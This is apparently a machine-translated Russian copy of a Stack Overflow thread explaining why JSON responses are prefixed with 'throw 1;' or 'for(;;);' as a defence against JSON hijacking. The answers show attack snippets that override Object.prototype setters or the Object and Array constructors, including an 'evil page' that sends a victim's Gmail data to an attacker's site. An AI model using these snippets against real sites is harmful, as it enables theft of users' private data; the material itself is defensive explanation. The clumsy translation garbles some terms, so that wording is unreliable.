Почему люди ставят код вроде «throw 1; <не будь злым> »и« для (;;); »перед ответами json? [Дубликат]

199

Возможный дубликат:
Почему Google добавляет while (1); к их ответам JSON?

Google возвращает json следующим образом:

throw 1; <dont be evil> { foo: bar}

и Facebooks ajax имеет json вот так:

for(;;); {"error":0,"errorSummary": ""}
  • Почему они помещают код, который останавливается выполнение и делает недействительным json?
  • Как они анализируют его, если он недействителен и сбой, если вы попытаетесь оценить это?
  • Они просто удаляют его из строка (кажется, дорогая)?
  • Есть ли преимущества безопасности для это?

В ответ на это для целей безопасности:

Если скребок находится в другом домене, им нужно будет использовать тег script для получения данных, потому что XHR не будет работать в кросс-домене. Даже без for(;;);, как бы злоумышленник получил данные? Он не присваивается переменной, поэтому не собирался ли он собирать мусор, потому что нет ссылок на него?

В основном, чтобы получить перекрестный домен данных, они должны были бы сделать

<script src="/json.js"></script>

Но даже без аварийного отказа script злоумышленник не может использовать данные Json без привязки к переменной, доступ к которой вы можете получить глобально (это не в этих случаях). Код сбоя effectivly ничего не делает, потому что даже без него они должны использовать серверные скрипты для использования данных на своем сайте.

  • 0
    Можете ли вы предоставить ссылку на сайт / JSON, который имеет это?
Показать ещё 3 комментария
Теги:
security

4 ответа

176
Лучший ответ

Даже без for(;;);, как бы злоумышленник получил данные?

Атаки основаны на изменении поведения встроенных типов, в частности Object и Array, путем изменения их конструкторской функции или ее prototype. Затем, когда целевой JSON использует конструкцию {...} или [...], они будут собственными версиями этих объектов злоумышленниками с потенциально неожиданным поведением.

Например, вы можете взломать свойство setter в Object, которое предает значения, записанные в объектных литералах:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

Затем, когда a <script> указал на какой-то JSON, который использовал это имя свойства:

{"x": "hello"}

значение "hello" будет пропущено.

То, как массивные и объектные литералы вызывают создание сеттеров, является спорным. Firefox удалил поведение в версии 3.5 в ответ на публичные атаки на громких веб-сайтах. Однако на момент написания Safari (4) и Chrome (5) все еще уязвимы для этого.

Другая атака, которую теперь запретили все браузеры, заключалась в переопределении конструкторских функций:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

И на данный момент реализация свойств IE8 (основанная на стандарте ECMAScript Fifth Edition и Object.defineProperty) в настоящее время не работает на Object.prototype или Array.prototype.

Но так же, как и защита прошлых браузеров, возможно, что расширения для JavaScript вызывают больше потенциальных утечек подобного рода в будущем, и в этом случае мякина должна также защищаться от них.

  • 0
    Очень интересно, я никогда не думал об использовании сеттеров. +1
  • 0
    Как злоумышленник влияет на конструктор? Как эти испорченные данные выполняются клиентом?
Показать ещё 4 комментария
55

Учтите, что после проверки вашей учетной записи GMail вы посетите мою злую страницу:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

Что произойдет сейчас, так это то, что код Javascript, который поступает от Google, который, по мнению искателя, был бы доброкачественным и сразу выпадет из сферы действия, будет фактически отправлен на мой злой сайт. Предположим, что URL-адрес, запрошенный в теге script, отправляется (потому что ваш браузер представит правильный файл cookie, Google правильно подумает, что вы вошли в ваш почтовый ящик):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

Теперь я отправлю сериализованную версию этого объекта на свой злой сервер. Спасибо!

Способом предотвращения этого является крушение ваших ответов JSON и деградация их, когда вы из одного домена можете манипулировать этими данными. Если вам нравится этот ответ, пожалуйста, примите сообщение, отправленное bobince.

  • 0
    Я уверен, что аутентификация Gmail основана не только на файлах cookie, так как это будет очень и очень слабым, как вы описали здесь. Я думаю, что они также содержат сессионные ключи в URL, который вы не можете просто перехватить.
  • 35
    Проблема сайта, целевой аудиторией которого являются программисты, состоит в том, что время от времени вы будете встречать людей, которые {надеются, указывают, используют} менее педантично. Попробуйте это: а) это пример того, как такая атака может работать, а не полное указание хакера на проведение атак на Gmail, и б) как уже указывалось на другой ответ на этот вопрос, аналогичная атака была продемонстрирована против Gmail, разрешить злоумышленнику доступ к списку контактов пользователя.
Показать ещё 1 комментарий
22

EDIT

Эти строки обычно называются "непревзойденными крутыми", и они используются для исправления уязвимости утечки информации, которая влияет на спецификацию JSON. Эта атака является реальным миром и уязвимость в gmail была обнаружена Джеремией Гроссманом. Mozilla также считает, что это уязвимость в спецификации JSON, и она была исправлена ​​в Firefox 3. Однако, поскольку эта проблема по-прежнему влияет на другие браузеры, этот "непревзойденный рывок" необходим, потому что это совместимый патч.

Ответ Bobice содержит техническое объяснение этой атаки, и это правильно.

  • 0
    Теперь это имеет больше смысла в использовании и объясняет, почему такие сайты, как Google и Facebook, используют его (разрешая междоменные запросы на гаджеты, виджеты и что-то еще)
  • 1
    Это не правильный ответ, независимо от того, кто дал вам ответ. Правильный ответ, с точки зрения полноты и правильности, дан пользователем bobince внизу. Запрещать просмотр вывода JSON из скрипта в браузере даже не имеет смысла, если в нем есть text/json типом содержимого, он даже не будет открыт, а если бы это был text/[x]html это был бы плохой HTML. Браузер ни в коем случае не выполнит его, если он будет введен как исходный документ Крафт - это предотвращение CSRF-атак и оценка JSON, потому что на сайте злоумышленника прототип Object может быть переопределен для кражи данных.
Показать ещё 11 комментариев
4

Как они анализируют его, если он недействителен и сбой, если вы попытаетесь оценить это?

Это функция, с которой он столкнется, если вы попытаетесь eval его. eval позволяет использовать нестандартный код JavaScript, который может быть использован для атаки на межсайтовый скриптинг.

Они просто удаляют его из строки (кажется, дорого)?

Я так думаю. Возможно, что-то вроде:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

"Не зло" не позволяет разработчикам использовать eval напрямую, а не более безопасную альтернативу.

  • 6
    Это там, чтобы предотвратить использование eval . Не пытайтесь обойти это, используйте вместо этого выделенный анализатор JSON!
  • 0
    Похоже, что это ближе к реальной цели, чем для предотвращения очистки (в любом случае, для удаления нужно использовать серверные сценарии) +1
Показать ещё 6 комментариев

Ещё вопросы

Сообщество Overcoder
Наверх
Меню